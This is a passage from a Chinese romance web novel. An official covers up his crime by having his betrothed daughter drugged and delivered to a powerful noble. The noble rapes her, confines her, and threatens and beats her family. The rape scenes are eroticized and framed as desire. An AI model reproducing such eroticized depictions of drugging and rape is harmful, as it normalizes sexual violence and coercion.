那么,那个人应该很快就会同六皇子一起回京复命。
她松开了早被揉得皱皱巴巴的帕子,端起面前
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已经有些放凉的茶水,低头饮了两口。
叶府今日收下了温府送来的聘礼,整个府邸热闹了一整日。下人们都得了不少赏银,一个二个脸上都堆满了喜色。
只是,叶孝义的脸上却越发焦灼起来。
好在在叶夫人的安排下,才顺顺利利得送走了温府的管事们。
“老爷!今日是温府下聘的日子,您怎么脸色这么难看?”叶夫人进了内室,见叶孝义还一脸失魂落魄的模样,挥退了伺候的下人,才开口抱怨道。
只是过了半晌,也不见平日里言笑多语的夫君回应她一句。
这下,连叶夫人都察觉出不对劲来。她倒了一杯温茶递与叶孝义手边,见他仍发着楞,便将手里的茶盏重重在案几上一放。
“老爷!到底出了什么事了?竟让你这般模样?”
“冤孽!冤孽啊!”
叶孝义见事情已经到了这一步,已经瞒不住了,只得连连哀声叹息,“阿雨,珍珍不能嫁给行松!闻世子要珍珍给他做妾!”
“啪!”
“老爷你在说什么?”
叶夫人不可置信得抓着叶孝义的胳膊猛然摇晃起来,抬手间带翻了案几上的茶盏。
随着茶水在地毯上泅湿好大一块印子,叶孝义才缓缓道:“是真的!”
“曹强私扣粮草的事,被闻景压在手里密而不发。前几日,他召了我去落白院,提出要他放过叶府,就得、就得让珍珍做他的妾室!”
叶夫人哪里知道会从叶孝义口里得知这种晴天霹雳?
她红着眼圈,不甘道:“曹强犯事,为何要牵连我们叶府?珍珍怎么能去给人做妾?更何况,我们已经收了温府的聘礼,按理说,珍珍她如今已经是温府的媳妇了!就算闻世子再权势滔天,也不能强逼别人的妻子做妾啊!”
“老爷!这不行的!不行的!”
“我如何不知这个道理?”
叶孝义低喝道,“可是,曹强为自保,竟攀咬我,说是我和他联手,才做下这种杀头的大罪!我那日在落白院,说干了嘴,闻世子他也不信!我又能怎么办?”
“那你到底做没做?”
叶夫人死死看着这个同床共枕多年的枕边人,她不信,就凭区区污蔑,就要断送珍珍一辈子!
叶孝义被这话问得张口结舌。
叶夫人见他鼻间缓缓渗汗意,两眼一黑,双腿发软,整个人就朝后仰去。
“夫人!夫人!”
“夫人!你醒醒!”
叶孝义见人就要倒下,慌忙得接住人,朝站在外间的丫头吼道,“快去请大夫!”
海晖院里忙忙碌碌,直折腾了到深夜时,叶夫人才在大夫的施针下,慢慢睁开了眼。
甫一睁眼,就望见自己的儿子叶劲和夫君叶孝义正满脸焦急得看着自己。
叶孝义见妻子看过来,不动声色得摇了摇头。
叶夫人望着一脸担忧的儿子,眼泪簌簌直流,“没惊动珍珍吧?”
“娘亲放心吧!珍珍今日高兴得很,早已经歇下了!”
叶劲住在前院,海晖院夜里请大夫的事,自然瞒不过他。
5. 得了手
叶夫人点点头,叹气道,“好孩子,娘亲没事,不过是操劳了些,才昏倒了,不是什么大事,不要告诉你妹妹!”
“儿子明白!”
叶夫人抬眼扫过叶孝义脸上的心虚和焦急,拍了拍叶劲握着她的手背,“劲儿回房歇息吧!明日还要去军营里操办犒劳大军的事,别起迟了!这里有你爹在,你放心吧!”
叶劲见她还在操心自己的事,回头望了一眼自己的爹,见他也点头道让自己去歇息,便不好再久留,只得给叶夫人喂了药,就回了前院。
“当真就没有一点转圜的余地了吗?”
叶夫人见叶劲离开,仍不死心,朝叶孝义问道,“别说给郑国公府做妾!就是郑国公府要娶珍珍为妻,我也不会同意的!更何况,现下我们叶温两府定亲的事已经尘埃落定,你要如何向温府交代?”
“再者,你如今身居一州刺史之位,你的女儿哪怕就算嫁给郑国公世子这样身份地位的人,也不是不可!那闻世子为何一定要如此折辱我们呢?劲儿还未娶妻,就算看在劲儿的面子上,他的妹妹也不能给别人做妾!就算是闻景也不行!”
“这些话的道理,我也懂,”叶孝义老眼含泪道,“只是,如今理亏的是我们——”
“是你!是你做错了事!关我的珍珍何干?”
叶夫人闻言气得坐起身子,直直指着坐在床侧的叶孝义道,“若不是你与曹强同流合污,我的珍珍怎么会被闻景这个疯子觊觎?”
叶孝义被骂得一张老脸通红,只得讪讪道,“对,都是我不好。”
“可是,我不能看着咱们叶府都被推上断头台!我死就死了,那你和劲儿怎么办?”
“那你做下这些事的时候,有没有想过我们叶府的上上下下呢?”
叶夫人几乎哭得要背过气了,她已经明白叶孝义的意思,他这是要牺牲她的珍珍啊!
“叶孝义!难道你忘记了,那年你亲自带着珍珍去京城求医的一路艰难了吗?如今,你这个父亲竟然要亲自毁她一生,将她送人做妾!”
“你杀了我!你杀了我去给你抵罪吧!叶孝义!”
“阿雨!”
叶孝义扶着叶夫人的肩膀,将她的头靠在自己肩上,悔恨道,“是我害了珍珍!”
“只是明日犒劳大军后,不过三五日,他们就要回京去了。若是、若是闻世子只是一时兴起也不一定,说、说不定,他……就会放过珍珍和我们呢?”
叶夫人闻言更是心痛如绞,“你拿珍珍当什么了?就算只是闻景的一时兴起,不会带走珍珍,可是你让珍珍再如何面对温府呢?”
“她是你的亲生骨肉啊!你的心是铁做的吗?啊?”
听着耳边的声声泣血,叶孝义闭上眼沉默片刻,随即睁开双眼,下定决心道:“我养了她十七年,如今府里有难,是她该尽孝的时候了!”
“你、你说什么?”
叶夫人艰难得抬起头,望着眼前这个陌生的枕边人。
“我说,到珍珍回报府里养育之恩的时候了!如果她死了,我就将她埋进我们叶家的祖坟,绝不会让她流落在外,无人供奉!若是闻景没有带走她,我们与温府的婚事就如期举办,一切事情,我会给温府一个满意的交代!”
听着耳边枕边人的低语,叶夫人只狠命捶着叶孝义的胸口,再也哭喊不出一句话来。
临州城外的碧桃林春意最盛时,朝廷派出犒劳大军的队伍,已经顺利抵达了临州府州。
以闻景为首的临州一干文武官员,在六皇子沈俞风,亲自向众人宣读完皇帝亲书的圣旨后,才双手接过那卷明黄卷轴。
“臣,闻景,谢陛下隆恩,也代临州北征大军的数十万将士,恭谢陛下恩泽!吾皇万岁万万岁!”
“哎呀,恭喜闻表哥!贺喜闻表哥!表哥快起来吧!”
沈俞风笑吟吟得扶起这位已经是镇北大将军的表兄,神色激动道,“父皇对表兄这一仗可是赞不绝口啊!不仅加封表哥你为二品镇北将军,赐金银田地若干,还特赐紫光带,以示圣恩啊!”
“走吧!如今圣旨已经顺利传达,接下来就该大肆摆宴,庆祝我大齐大破北戎,也让将士们痛痛快快喝个尽兴!”
闻景顺着沈俞风的手站直身子,听到沈俞风说起庆功宴之事,便指着一旁的叶孝义道,“启禀六皇子,这位便是临州的刺史叶孝义叶大人,庆功宴一事,想来叶大人也准备好了!”
“原来这就是叶刺史啊!”
沈俞风点头道,“叶大人在我大齐与北戎兵戎相见时,也立下不少功劳!想来年底时,叶大人今次的吏部考核定然不差!”
“哪里哪里?六皇子谬赞了!”
叶孝义连连拱手谦让道,只是抬眼望见闻景嘴边的笑意时,背脊上顿时一片冷汗。
“好了叶大人,你也别干站着了!今晚的庆功宴可准备好了?”
闻景似笑非笑道:“今夜可是你在六皇子面前好好表现的机会!能不能搏得殿下的满意,就看你的本事了!”
“哎!表兄,今日庆功宴的主角明明是你,要满意也是让你满意!我不过就是个陪客而已!”
沈俞风拍拍闻景的肩,爽朗一笑:“请表兄带路吧!”
“那臣,就恭请殿下移驾青鹤楼,今夜不醉不归!”
“好!”
叶孝义直到两人走过身前,才直起弓着的腰,抬手擦了擦额间的汗。只是想起方才闻景的神色,终是唤来了站在远处的管事,低声吩咐了几句才慌里慌张得跟了上去。
青鹤楼里热热闹闹得直折腾了半宿,闻景见沈俞风和随行的官员已经醉得不省人事,便让人带着他们到下榻的地方安歇了。
他自己则是带着一身浓郁的酒气,缓缓踏上了通往青鹤楼三楼的梯子。
自与叶孝义那日谈话后,闻景就不再住在刺史府的落白院,而是搬到了他上元那晚赏灯的地方。
闻景一步一步上着阶梯,脚步虽稳,但眼角早已泛红。
直到行至最后一步,便望见守在房间门口的玉锋正朝他点点头,那些深埋在内心的溪流才缓缓流淌起来。
连唇边也溢出浅浅笑意。<
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“主子,人已经在里面了。是叶府的管事亲自送来的!”
“玉风,三日之内,整个青鹤楼都不得有外人进出!这一层,没有我的允许,谁也不能靠近!”
“属下遵命!”
闻景站在门口许久,直到玉风的脚步声完全消失在楼梯处,他的手指才贴在房门上。
是什么时候有这种心思的?
闻景听着起起伏伏的虫鸣声,低着头看着手指抚过的木纹,半晌后,才轻轻推开那扇门。
“吱呀!”
寂静的黑夜,发出一声细微的响动。闻景抬脚跨过门槛,随手关上了房门。
偌大的房间里点满了烛火,将屋子里的光景照得一清二楚。
闻景听着耳边传来的心跳声,忍不住闭了闭眼,随即行至桌案旁灌下一杯茶水,才朝那扇描绘着荷塘飞鸟的屏风望去。
许是他喝得太急,唇角还沾染着水意。
直到绕过屏风,站在床榻前,望着被子下玲珑起伏的曲线时,闻景才暗暗舒了一口气。
是她。
他抬手一颗一颗解开束缚着身躯的襟扣,只觉那盏茶水根本毫无作用。
胸腔里那颗炙热的心,跳得更厉害了!
直到他支手撑在耳后,欣赏着她香甜的睡颜时,才觉得这才是能解他渴意的良药。
“唔……雪、雪青,我好、好热!”
“热……”
闻景听闻从她唇间溢出的呓语,再忍不住内心叫嚣沸腾的欲望,俯身吻了下去。
将她胡乱挥动的双手紧紧按在枕畔上,十指相扣。
闻景贪婪得吸允着舌尖上的每一丝甜蜜,只觉得酒水也没能比它更醉人。直到察觉出那人开始无力时,他才缓缓离开那抹绯色。
不停挣扎的手脚,和断断续续的嘤咛声,不断得提醒着闻景的大脑,这不是梦。
他方才还尝到了牛乳的香气,想来这药应该就是下在酥酪里面的。
既然,有人如此贴心得准备了迷药,那他就不客气了!
闻景压制着她乱踢的双腿,一手握住她的双腕,另一只手则在她腰间的带子上抚过。
直到裙裳彻底散落,闻景才松开了早就没了力气的手腕,俯身而下。
就如一只雄鹰张开了双翅,将热意滚滚的猎物,纳入羽下。
只是,任猎物如何哀求挣扎,哭泣躲避,那雄鹰仍我行我素,将她口中溢出的每一丝嘤咛都吞噬得干干净净。
夜风散入屋内,吹得满室的烛火晃动不已,连带着屋子里的热气也一齐吹散。
只是,垂在床脚的纱帐里,热意丝毫不褪。
叶珍珍做了一个噩梦。
梦里那人几欲炽热得眼神,让她忍不住求饶,低泣,躲避。但是,却都没有用。
“呜……疼,好疼!”
叶珍珍睡梦间翻了翻身,只觉着身上酸疼得让人忍不住哼哼。直到一副滚烫贴上她的背脊时,她才察觉出异常。
只是甫一睁开眼,映入眼帘的便是一副石青绣仙鹤的纱帐。
6. 送给闻景 这、这是哪里?
这、这是哪里?
她猛然支起身子,却被身后的一双大手扣住腰身,向后倒去。
“醒了?醒了就乖乖再睡一会。”
叶珍珍不可置信得听着耳畔传来的低沉声音,低头便见自己已经散开的里衣。她颤抖着双手去拨开扣在腰身上的大手。
倏然间,她不仅没能拨开,还被那双大手翻过了身子,直直面对着那人带着咬痕的下颌。
“啊!”
叶珍珍挣扎着崩溃大叫道:“这是哪里?这是哪里?我、我怎么会、会在这里?”
“闻景!你放开我!放开我!我、我要杀了你!”
“杀了我?”
闻景将下巴放在她发间,低笑道,“怎么,我伺候了你一夜,你就是这么报答我的?”
“放开我!我要回家!我要回家!呜……呜呜……我要回家!”
“别动!”
闻景搂着人,低喘一声道。
“珍珍,你再动来动去的,我就只能帮你回忆回忆昨天晚上,我们是如何缠绵的?”
听着闻景克制的喘息,叶珍珍嚎啕大哭道:“闻景!你这个畜生!你为什么、为什么要……”
两具身躯紧紧相贴。
叶珍珍哭得海棠带雨,闻景却只将人按在胸口处,放弃般大笑道:“算了!你既然不听话,我就再教教你,该如何乖一点!”
说罢,他便将人按压在枕畔上,朝她耳后吻去,根本不理会她口中的咒骂。
叶珍珍被迫趴伏在榻上,即使抬头,也只能看见晃动的床帐。
她绝望得闭上了眼睛,双手死死抓着身下的褥子,不愿再听身后男人的低喘声。
只是那声声低喘尽数洒在她薄薄的耳后肌肤上,烫得她樱唇忍不住溢出丝丝哼咛,连十个脚趾都蜷缩起来。
旭阳缓缓从东边升起,将耀眼的光辉,透过缝隙洒入屋子的每一个角落。
闻景敞着衣襟站在床前,看着躺在床上,抱着被子恸哭的叶珍珍笑道:“怎么样?我就说你嫁不成温行松吧?你还不相信!”
“……禽兽!”
叶珍珍身上痛极了,一颗心也如被人折腾狠的身子一般,濒临破碎。
她抱着被子哭了半晌,还不是不明白自己明明昨晚早早就在玉棠院歇下了,为何会被闻景这个禽兽给……给糟蹋了!
闻景听闻,嘴角扬起的笑意越发刺目,“我的确是禽兽!那送你上我床榻的爹,又是什么道貌岸然的伪君子?一边与他人定下婚约,一边又为了讨好我,不惜送自己的女儿上我的榻!嗯—他的意思我倒是明白了!”
“叶珍珍,别敬酒不吃吃罚酒,更何况现下,”闻景说着又扫了一眼抱着被子坐在床上的修长身躯,只见她一头乌发垂落在颤抖不止的背脊上,眼底浮现出一抹餍足,“你已经喝下了酒!”
听着耳边传来闻景的笑声,叶珍珍手下十指更是死死掐在手心,直到力气耗尽,才不得不放松了手。
闻景说完,便直直朝门口走去,拉了三下垂在门后流苏,便坐在椅子上给自己倒了杯凉茶,慢慢喝着。
叶珍珍哭得双眼红肿,声嘶力竭。
直到再也流不出一滴泪来,她才惊觉自己不能再留在这里任他欺辱。
忍着浑身的酸痛,叶珍珍弓着满是红痕青紫的腰背,艰难得捡起散落在床脚下的衣衫。
而就在她低着脑袋,努力给自己套裙子时,一双光洁修长的大脚出现在她的余光里。
“你在穿衣服?”
闻景看她颤颤巍巍的手里,正拿着一条藕荷色绣菡萏的挑线裙子,不由挑眉道,“你身上既然痛,不如好好在床上躺在歇息一下?我唤了人来,很快能沐浴洗漱,会有丫头伺候你穿戴的!”
叶珍珍深吸一口气,将眼里又浮起的热意压下,才咬着牙道:“不需要!我要回家!”
“回家?回哪个家?”
闻景明知故问道,随即伸手夺过她手里的裙裳,往远处随手一扔,“你是我的女人,以后我在哪里,哪里才是你的家!”
“再过五、六日,我们就回京城!至于你们叶府,不回也罢。免得你触景伤情,哭得惹我心烦!”
他拦住叶珍珍去捡被他扔远的裙子。
一手扶在她的纤腰上,一手则扶在她膝窝处,将人打横抱在怀中。
闻景低头,放缓了气息道:“珍珍,我现下得了你,自然不想动叶府和温府的人,可是,你得拿出你的诚意来,不然,温叶两家不仅要解除婚约,我还会亲手将他们送上断头台!”
身下的变化,闻景清楚的很,只是他不能把人逼急了。
更何况,方才他才压着人来了一次,他现下觉着自己还可以再忍忍。
叶珍珍泡在热水里,腾起的热气熏得她眼泪又开始往下滴。
看着丫头拿着帕巾在自己手臂上轻轻得擦拭着,她忍着恶心,一把夺过帕子,使劲在身上擦着。
“姑娘!姑娘!快别擦了!再这么下去,就要破皮了!”
叶珍珍根本不理会丫头的惊呼。
她要将自己擦干净,这样、这样才能去见她的行松哥哥。
闻景看着丫头换好了被褥就要退下时,开口叫住了人,沉声吩咐几句后,却听到了浴房里丫头的惊呼声。
他抬脚疾步走入浴房,只见叶珍珍正发狠得拿着帕子揉搓身体。
“滚出去!没有铃声,谁也不准进来!”
那丫头被闻景可怖的神情吓得连行礼都顾不上,转身就跌跌撞撞得出了浴房。
闻景见她手下动作一顿,便又狠狠在已经通红的肌肤划过,他眉间一跳,直直走向浴桶,一把撷住手腕,微微一用力,便见那帕子跌入热水中,砸起水花。
“够了!”
“‘不够!不够!”
叶珍珍被闻景强制住手腕,红着眼眶哭喊道。
待最后一个字落音,她抬眼看着眼前捏在自己手腕上的大手,不顾自己还在浴桶里,当即起身扑向闻景的手臂,狠狠咬了下去。
手臂上传来的意痛,让闻景忍不住冷哼一声。
她这是要咬死自己吗?
闻景忍着怒气,一把将人从桶里提起来,扛在肩上,朝已经换好的床榻走去。
待将人扔在床里间,闻景才低头去看手臂上的伤。
只见一
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圈齿痕印在他蜜色的肌肤上,只是下面的肌肉太硬,她尖尖的犬牙只在表皮留下了痕迹,正冒着丝丝猩红。
“……好了,我宣布我的耐心已经被你彻底用完了!”
闻景放下手臂,无所谓得朝咬牙切齿的叶珍珍笑笑,“你既然这么讨厌我在你身上留下的痕迹,那我不介意再留一些,给你长长记性!”
他抓住叶珍珍带着湿意的脚踝,朝自己身前一拉,随即俯身撑在她身侧,垂首在她唇间肆虐一番后,才按住她的头,将自己的肩膀递在她唇边。
“要咬就咬这里!待会,可别忘记了!”
说完,不顾身下人的推攘,紧紧贴覆下去。
“……饶了我!呜……求你、求你饶了我吧!”
闻景任凭额间的汗水流至眼中,他低低喘了两口,才一手捧着她流泪哀戚的脸庞,将自己烫得惊人的唇印在她不停流泪的眼睛上。
随后移开后,又将肩膀递在她唇边,“若是疼得很,就咬我方才给你指过位置!叶珍珍,我不会心软了……回京之前,你都不可以离开这间屋子!”
随着日头渐高,屋子里那片青色的床帐后,动静慢慢停了下来。
有了一层青纱的阻隔,就算是逃入帷帐间的缕缕光线,也不似照耀在外间案几上的那么刺眼。
闻景将彻底汗湿的额头紧紧贴着已经闭上眼,累得已经睡着的女子唇上,好似她正在吻他一般。
热汗顺着脖颈直往下滑,直到滴在已经布满皱褶的褥子上,才晕开一团深色。
他闭上眼,又将两人汗湿的额头贴在一起,鼻息间呼出的热意,让叶珍珍在睡梦中皱起了眉。
脑子里全是昨夜的疯狂和方才的纠缠。
不知过了多久,闻景才蓦然睁开了双眼,里面已是一片清明。随即果断抽身离开榻间,赤着胳膊,头也不回得朝外间走去。
玉泉站在一楼大堂中,听见从楼梯处传来的声响,便转身朝闻景抱拳行礼道:“启禀主子,叶府今日一早就命人退还了温府的聘礼,是叶刺史亲自上门退的亲事!”
他说完抬头去看闻景的神色,却不料看见了闻景下颌上的红痕,当即飞快得垂下眼帘,不敢再乱瞧。
闻景听到叶温两府已经退了亲事,还来不及点头,就见玉泉神色慌乱得垂下了头。
他抬手摸了摸下颌。
果然,就算过了一夜,她咬的痕迹还是没有散去。
心中有得意,还有些说不清楚的酸胀。
“别看了!让丫头们上楼,好好守着人,千万别处什么岔子!”闻景道,“让枝白和青渚贴身伺候她,一应吃穿用物,皆按照我的份例来。”
“……走吧,该去官驿见见六皇子了。”
“主子……”
“怎么了?”
玉泉硬着头皮,低声提醒道:“属下让人伺候主子更了衣再去驿馆吧。”
“哦,”闻景闻言回神,瞧了一眼身上散乱的外袍,失笑道,“好了,别愣着了,去取我的衣物来。”
“属下遵命!”
闻景更衣后,便带着玉风去了六皇子住下的官驿,留下玉泉带着人守在青鹤楼。
7. 退亲
春日里的天,说变就变。
前一日的艳阳晴天,第二日便阴沉着脸,吹起疾风来。直将早早盛放的各色春花,吹得俯首低头,花瓣飘飘。
叶劲得知自己父亲竟亲自上门,退了叶温两家的婚事,便直直冲到前院的书房里,寻到了早就坐在案后闭目沉思的叶孝义。
“父亲!”
叶劲疾步跨过门槛,来不及行礼,便径直开口问道:“父亲,儿子得到消息,说父亲您亲自退了与温府的亲事,这、这可是真的?”
叶孝义毫不意外得睁开眼,看着眼前怒气冲冲的儿子,点头道,“不错!叶温两府的婚事已经被为父退了,以后,两家还如从前那般来往即可。”
“父亲!这、这到底是为何啊?”
叶劲不明白,明明这门婚事是父亲亲自点了头的,怎么的会在温家下聘后,有亲自解除婚约?
这、这不是明晃晃打温家的脸吗?
还有!
珍珍她,很喜欢温家的二公子。
“你是担心叶温两家就此结仇?还是担心珍珍难过?”
叶劲看着父亲投来的锐利目光,刺得他几乎只能哑着嗓子道:“……这都一样。”
“不!”
叶孝义见儿子有些躲闪的神色,当即起身否定道,“你的心思瞒不过我!劲儿,你们是兄妹,是亲兄妹!”
“我不管你到底知道些什么,只要为父在一日,她就只能是你的妹妹!你……明白吗?”
叶劲没想到父亲早将他的心思,察觉得如此清楚,他猛然朝后退了两步,神色痛苦道:“儿子明……明白!”
自她与温行松定下亲事那日起,他已经明白自己的心思。
可是,他又能怎么样?
“儿子不是怪父亲定下她与温行松的婚事,只是不明白为何父亲又食言,毁去两家的亲事。”
叶孝义见他还能神志清楚得与自己交谈,只得深深叹了一口气,慢慢与他讲起粮草之事,包括闻景对两家的控制。
叶劲听完后,心头大恸。
他没有想到,父亲竟会为了掩盖罪行,拿珍珍送给闻景!
怪不得!
怪不得叶温两府退了亲事,父亲还能说出两家照常来往!
叶劲红着眼眸,凭着不知从何处涌出的一股热意,讥讽道:“叶温两府犯了错,竟拿一个弱女子去抵!哈哈哈哈!老天爷,你当真是瞎了眼了!”
“劲儿!”
“父亲不必动怒!”
叶劲流着眼泪,看着眼前陌生的父亲,噙满泪水道,“想来如今珍珍已经不在玉棠院了吧?”
叶孝义如今见此事已经瞒不住时,又怕他闹腾起来,只得承认道:“不错!再过几日,闻世子就会带珍珍离开临州去京城,她好歹是我刺史府的小姐,此次进京,会以寻医求药的名头,被闻世子带在身边”
“她好端端的刺史府小姐,就算要寻医问药,也轮不到留在闻景身边!”
叶劲简直无法忍受这种拙劣的理由。
他大吼完,见眼前的父亲越发佝偻着背,只是脸上的神情,被方才自己的话,激得忽白忽红。
“我去求他!求他放过妹妹!要杀要剐,那我叶劲顶罪即可!”
窗外的风吹得他额角的发丝,胡乱的飞舞在面上,却遮不住他满脸的痛楚和愤懑。
叶孝义闻言,当即气得猛然呛咳起来,“逆……子!逆子!”
“来人啊!将、将这个逆子给我关起来!”
叶劲回头见团团将他围住的下人,发狠道,“你拦不住我!”说罢,几脚踹开前来阻拦他离开的家丁,大步流星得离开了书房。
任凭叶孝义喊破嗓子,也不曾停住。
疾风骤起,倏然将屋子束在梁柱上的纱幔吹得乱舞。
也许勾到了一旁的酸枝高几,将上面摆着的一只瓷瓶摔碎在地上,随即发出一声刺耳的声音。
叶珍珍散着乌发,顶着一脸被惊吓到的模样朝声音发出的地方看去,便见这两日随侍在自己身边的丫头们,手脚利索得将碎瓷收拾得干干净净。
她转过头去,仍静静看着镜中的女子。
这是她吗?
叶珍珍看着镜中只着一身里衣的女子,和她颈间用细粉也遮不住的印记,颤抖着手伸向妆奁上的粉盒。
她仔仔细细得抹了一层又一层,直到粉盒用尽,颈间那些被那人留在她身上的屈辱痕迹,才淡了一些。
好似只有这样做,她还能自欺欺人得告诉自己,这只是一场噩梦。
身后的风声里,夹杂着男子断断续续的呼喊传入耳中时,叶珍珍眼眸瞬间一亮,当即就朝门口跑去。
可是,青渚和枝白的动作却更快,直直拦住了她的去路。
“小姐,请回吧。”
叶珍珍闻言后,满脸痛苦得抱住了头。她不想再听到这句,她这两日已经听过无数次的话。
对了!
她松开手,猛然转身向厢房的围栏处跑去,身后的两人瞬间明白了她的意图,飞快得跟在她身后。
就在叶珍珍伸手碰到栏杆时,就被人抓住了胳膊,往回拉。
就连腰上也被女子有劲的双手死死抱在。
“小姐!”
“小姐!危险!”
白枝抱着叶珍珍的腰,根本不敢放松一下。
“砰!”
房门被人从外面一脚踹开,随即从墙上猛然反弹一跳,几乎当场落下,只堪堪发出微弱的吱呀声,便再没了动静。
三人俱是一惊,齐齐朝门口望去。
叶珍珍蓦然回首,只见房中负手而立的俊美男子,阴翳着脸,朝她所在的方位望来。
“你们都出去。”
枝白和青渚听闻主子发话,只得缓缓松开叶珍珍的胳膊和身子,迅速退了出去。
闻景踱着步子,慢慢绕过叶珍珍,一路行至围栏前,只朝下面看了一眼,便回头朝叶珍珍道:“过来。”
叶珍珍缓了好一会,才听明白闻景的话。
他这是在叫自己过去吗?
闻景也不催促,只悠闲得看着人僵硬着身躯,踉跄着走至眼前的围栏旁。
呼啸的风,将她身后的乌发吹得一片散乱,只是闻景却还是看见了她簌簌流下的眼泪。
他一把擒住她的胳膊,将人拉至自己怀中,随即按压着她靠着围栏,朝下面望去。
叶珍珍倏然拼命得挣扎着,哭喊道:“哥哥!哥哥救我!”
只是喊了两声,她就哭得喘不过气来。
“叶劲方才找我要你,你说,我该怎么办?”闻景将唇凑在她耳边,阴沉着脸色道,“我要不要请他上楼来瞧瞧,我在你颈间留下的痕迹?”
“忘了告诉你,两日前,你父亲就亲自去
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了温府,退了你和温行松的婚事,顺便也退回了聘礼!”
两日前?
叶珍珍颤抖着惨白的唇瓣,张了张口,却不知自己如今该说些什么,才能让眼前的这个疯子也如自己一般生不如死。
她呜咽了许久,直到满心的苦涩化作一柄锋利的匕首,缓缓刺入她的心口时,再也忍不住飞快得扬起手,狠狠朝身侧之人面上挥去。
只是男人的动作更快,一把就抓住了她的手腕。
“前几日你留在我下颌的痕迹,已经让沈俞风那厮笑话了我好几次,”闻景漫不经心道,“若是今日再留下巴掌印,恐怕,还不等我们回了京城,咱们的风流韵事就会被他那张臭嘴,传得满城皆知!”
叶珍珍不肯再听他的浮言浪语,挣脱了手,死死捂着自己的双耳。
“好啊!既然你不想听我说的话,那就乖乖回屋去,否则,叶劲今日定然要留条胳膊或者腿!”
闻景凝视着她满脸的痛苦,想起方才叶劲的话,不禁收起了面上的散漫,漠然道:“除非我腻了,不然没有人能救你!”
“千万别忘了,你是如何被送到我床上的!惹怒了我,我就第一个上折子,求皇帝将你们两家该杀的杀,该流放的流放。还有,该入教坊司的,就得进教坊司!”
他咬着牙根放完狠话后,不顾叶珍珍的反抗,一手压着人趴在冰凉的围栏上,让她看清楚,叶劲是否能真的带走她。
叶珍珍大颗大颗泪珠滚落出眼眶,而她只能无助得望着楼下跪在地上的叶劲,正被闻景的人一脚踢倒。
那是她从前眼中,无所不能的哥哥啊!
如今,他为了救自己,带自己离开,就这么被闻景的狗腿子们肆意拳打脚踢。
“哥哥!”
叶珍珍哭喊道,“哥哥!你走啊!你走!呜呜……我不值得你这样救我!”
可是任凭她再如何哭喊,楼下的侍卫也没有任何住手的动作。他们拳拳落在他身上,连踹带踢得将他伤得爬不起身。
“闻景!”
叶珍珍知道,除了她身侧的这个人面兽心发话,他们是不会停下手的。
她紧紧闭上双眼,哀求道,“闻世子……求你!求你让他们住手吧!我不会和他走,不会和他走的!”
“那若是今日来的是温行松呢?你也不会和他走吗?”
叶珍珍一听闻景提及到那人的名字,瞬间睁开双眸,摇晃着已经发软的身子,重重跪在那人的靴子前,磕头崩溃道,“闻景!我求你饶了我吧!”
“我不明白!我到底何处招惹了你,竟让你如此折辱我,折辱我们叶温两府!你要杀就杀,何必使这种卑劣的手段,来对付我一个弱女子?”
她任凭眼泪大颗滚落在手背上,抱着那人的腿,毫无任何尊严傲骨求他放过自己。
闻景听闻她的质问,只一双薄唇紧抿着,眼神全是叶珍珍看不见的暴虐。
他知道她恨他,恨他就这样占了她的身子,毁了她的亲事。
却不知,这些在她眼里,居然是自己对她的报复!
闻景深吸一口气,合上了几欲喷火的双目,待那股暴虐平息许多时,才启唇冷嘲道,“罢了,既然你说我折辱你,那我也不必再顾忌什么。”
说完,便扭头朝楼下的亲卫们扬声怒吼道:“带他上来!我倒要看看,今日他究竟能不能带人踏出这楼一步!”
8. 我来带你回家
守在楼下门口的玉风,远远就听见主子的吩咐,便立即朝早就住了手的亲卫们,点点头,随即就抓着叶劲带血的衣领,拖着人入了楼。
叶劲本就受了不轻的伤,就这样被玉风像丧家之犬般,拖着到了青鹤楼的大堂里。
玉风一把将已经半死不活的人扔在冰凉的地上,再抬头时,却见自家主子一手拽着一位衣衫不齐的女子,走下了楼梯。
“都出去!将门关好了。”
“是!”
几个侍卫随着玉风转身离开,也迅速得退出了大堂。只留奄奄一息的叶劲,还躺在地上。
叶珍珍哪里见过叶劲如此狼狈不堪的模样?
见他脸上全是青青紫紫的伤,连嘴角处,也不断地溢着鲜红。
她拼命得撕咬闻景拽着她的铁腕,却毫无成效。
“好好站着,别弄脏了我的外袍!”
叶劲仰躺在地上,眼眸却死死盯着叶珍珍身上披着的宽大衣袍。虽是室内,可他看得清楚,湛蓝绣如意暗纹的锦袍,那是男子才穿的衣物。
“珍珍……我—哥哥来、来带你,回家!”
“是吗?”
闻景一把松开叶珍珍的手腕,大步朝叶劲走去。
看着叶劲直到现下,都还目不转睛得望着跌坐在地上的叶珍珍,他心头一股剧烈的肆虐之意暴起,就像关在笼子里的野兽,再也抑制不住嗜血的冲动。
闻景毫不客气得抬起脚,骤然间狠狠踩在叶劲的胸口,逼得叶劲猛然弓起身子,直直朝面上喷出一大口血雾。
“哥哥!”
叶珍珍哭喊着一路爬向被闻景踩在脚下的叶劲,甚至连如玉的面庞上,都沾染了些空气里还未散去的腥气。
她的眼泪落在叶劲面庞上,缓缓稀释了血色,却还能听到他断断续续道,别哭。
“呜呜—哥哥!哥哥!”
叶珍珍不忍再看他唇边溢出的猩红,不停地努力擦拭着还带着温热的鲜血。
可是任凭她弄脏了衣袖,也擦不尽。
“啊!”
叶珍珍痛苦得闭上眼睛,仰天尖叫道。
“珍、珍珍,别哭--”叶劲喘着大气,想抬手擦去她脸上的泪痕,却发现自己根本抬不起胳膊。
闻景哪里看得过如此兄妹情深的场景?
当即就要在叶劲腹间,再狠狠踩一脚,好让他知道,有些人不是他能看的!
可是就在此时,叶珍珍却瞬间抱住了他的脚。她将脸贴在他的靴子上,纵情大哭道:“不要!不要!”
“让他走!求你让他走吧!”
叶珍珍苦苦哀求道,眼里的泪水几乎就要流干,“我听话!我听话的!闻景,求你饶了我哥哥吧!只要你饶了他,我可做你的妾,做你的外室,甚至做你的丫头!我都答应!”
“那你答应我,从此以后,不许有轻生的念头!”闻景弯腰,一把捏起叶珍珍的下颌,逼迫着她抬眼看向自己,“别以为我进屋时,会以为你只是去看叶劲叫你!”
叶珍珍闻言,满脸震惊得与闻景对视着,只见他唇边虽扬起,但那眼神却将她看得清清楚楚。
是了,方才她奔向围栏时,何曾想过要苟活下去?
就连这种暗藏在她心里的小心思,都被这人觉察得分毫不差!
“好!我答应你,我不会求死,从今以后,你要怎么样都可以!”
“就算温行松来了,也是如此?”
叶劲是她哥哥,只要不惹怒他,他不介意回京之后寻个由头,提拔提拔他。
只是,温行松嘛—
闻景眼眸一沉,望着叶珍珍已经完全怔愣得的模样,冷笑道:“你最好想清楚了,再回答!这次,我可不会被你糊弄了!”
